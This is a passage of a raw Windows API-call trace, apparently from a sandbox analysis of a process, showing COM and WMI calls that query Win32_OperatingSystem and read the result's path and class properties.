WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x3 [0258.930] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x2 [0258.930] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0258.930] WbemLocator:IUnknown:AddRef (This=0x1b218650) returned 0x3 [0258.930] IWbemServices:ExecQuery (in: This=0x1b218650, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b286710) returned 0x0 [0258.969] IUnknown:QueryInterface (in: This=0x1b286710, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b286718) returned 0x0 [0258.970] IClientSecurity:QueryBlanket (in: This=0x1b286718, pProxy=0x1b286710, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0258.970] IUnknown:Release (This=0x1b286718) returned 0x1 [0258.970] IUnknown:QueryInterface (in: This=0x1b286710, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b202d18) returned 0x0 [0258.970] IUnknown:QueryInterface (in: This=0x1b286710, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b286718) returned 0x0 [0258.970] IClientSecurity:SetBlanket (This=0x1b286718, pProxy=0x1b286710, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0258.973] IUnknown:Release (This=0x1b286718) returned 0x2 [0258.973] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0258.973] CoTaskMemFree (pv=0x1d1e67b0) [0258.973] IUnknown:QueryInterface (in: This=0x1b286710, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b202d18) returned 0x0 [0258.973] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0258.974] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0258.974] IUnknown:QueryInterface (in: This=0x1b286710, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0258.975] WbemLocator:IUnknown:AddRef (This=0x1b202d18) returned 0x3 [0258.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0258.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0258.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202bf8) returned 0x0 [0258.975] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202bf8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0258.975] WbemLocator:IUnknown:Release (This=0x1b202bf8) returned 0x3 [0258.975] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0258.975] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0258.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202ce0) returned 0x0 [0258.975] WbemLocator:IRpcOptions:Query (in: This=0x1b202ce0, pPrx=0x1b202d18, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0258.975] WbemLocator:IUnknown:Release (This=0x1b202ce0) returned 0x3 [0258.976] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x2 [0258.976] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0258.976] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0258.976] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b286710) returned 0x0 [0258.976] IUnknown:AddRef (This=0x1b286710) returned 0x4 [0258.976] IUnknown:Release (This=0x1b286710) returned 0x3 [0258.976] IUnknown:Release (This=0x1b286710) returned 0x2 [0258.976] WbemLocator:IUnknown:Release (This=0x1b218650) returned 0x2 [0258.976] SysStringLen (param_1=0x0) returned 0x0 [0258.976] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0258.976] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0258.976] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0259.074] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0259.074] IUnknown:AddRef (This=0x1b286710) returned 0x3 [0259.075] IEnumWbemClassObject:Clone (in: This=0x1b286710, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b287190) returned 0x0 [0259.076] IUnknown:QueryInterface (in: This=0x1b287190, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b287198) returned 0x0 [0259.077] IClientSecurity:QueryBlanket (in: This=0x1b287198, pProxy=0x1b287190, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0259.077] IUnknown:Release (This=0x1b287198) returned 0x1 [0259.077] IUnknown:QueryInterface (in: This=0x1b287190, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b203538) returned 0x0 [0259.077] IUnknown:QueryInterface (in: This=0x1b287190, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b287198) returned 0x0 [0259.077] IClientSecurity:SetBlanket (This=0x1b287198, pProxy=0x1b287190, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0259.079] IUnknown:Release (This=0x1b287198) returned 0x2 [0259.079] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x1 [0259.079] CoTaskMemFree (pv=0x1d1e6cf0) [0259.079] IUnknown:QueryInterface (in: This=0x1b287190, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b203538) returned 0x0 [0259.079] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0259.080] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0259.080] IUnknown:QueryInterface (in: This=0x1b287190, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0259.081] WbemLocator:IUnknown:AddRef (This=0x1b203538) returned 0x3 [0259.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0259.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0259.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b203418) returned 0x0 [0259.081] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203418, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0259.081] WbemLocator:IUnknown:Release (This=0x1b203418) returned 0x3 [0259.081] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0259.081] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0259.081] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b203500) returned 0x0 [0259.081] WbemLocator:IRpcOptions:Query (in: This=0x1b203500, pPrx=0x1b203538, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0259.081] WbemLocator:IUnknown:Release (This=0x1b203500) returned 0x3 [0259.082] WbemLocator:IUnknown:Release (This=0x1b203538) returned 0x2 [0259.082] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0259.082] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0259.082] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203538, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b287190) returned 0x0 [0259.082] IUnknown:AddRef (This=0x1b287190) returned 0x4 [0259.082] IUnknown:Release (This=0x1b287190) returned 0x3 [0259.082] IUnknown:Release (This=0x1b287190) returned 0x2 [0259.082] IUnknown:Release (This=0x1b286710) returned 0x2 [0259.082] SysStringLen (param_1=0x0) returned 0x0 [0259.082] IEnumWbemClassObject:Reset (This=0x1b287190) returned 0x0 [0259.083] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0e60 [0259.083] IEnumWbemClassObject:Next (in: This=0x1b287190, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0e60, puReturned=0x264a870 | out: apObjects=0x1d1c0e60*=0x1b268a00, puReturned=0x264a870*=0x1) returned 0x0 [0259.089] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b268a00) returned 0x0 [0259.089] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0259.089] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0259.089] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0259.089] IUnknown:AddRef (This=0x1b268a00) returned 0x3 [0259.089] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0259.089] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0259.089] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b268a08) returned 0x0 [0259.090] IMarshal:GetUnmarshalClass (in: This=0x1b268a08, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0259.090] IUnknown:Release (This=0x1b268a08) returned 0x3 [0259.090] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0259.090] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0259.090] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0259.090] IUnknown:Release (This=0x1b268a00) returned 0x2 [0259.090] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0259.090] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0259.090] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b268a00) returned 0x0 [0259.090] IUnknown:AddRef (This=0x1b268a00) returned 0x4 [0259.090] IUnknown:Release (This=0x1b268a00) returned 0x3 [0259.090] IUnknown:Release (This=0x1b268a00) returned 0x2 [0259.090] CoTaskMemFree (pv=0x1d1c0e60) [0259.090] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0259.090] IUnknown:AddRef (This=0x1b268a00) returned 0x3 [0259.091] IWbemClassObject:Get (in: This=0x1b268a00, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0259.091] IWbemClassObject:Get (in: This=0x1b268a00, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0259.091] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0259.091] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0259.091] CoGetObjectContext (in: riid=0x2296a58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0259.091] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0259.091] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2296a38*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0259.092] IUnknown:Release (This=0x77dd58) returned 0x1 [0259.093] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d2185b0) returned 0x0 [0259.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2185b0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0259.094] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d2185b0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b294a60) returned 0x0 [0259.094] WbemDefPath:IUnknown:Release (This=0x1d2185b0) returned 0x0 [0259.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b294a60) returned 0x0 [0259.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0259.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0259.094] WbemDefPath:IUnknown:AddRef (This=0x1b294a60) returned 0x3 [0259.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0259.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0259.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218650) returned 0x0 [0259.095] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218650, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0259.095] WbemDefPath:IUnknown:Release (This=0x1d218650) returned 0x3 [0259.095] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0259.095] CoGetContextToken 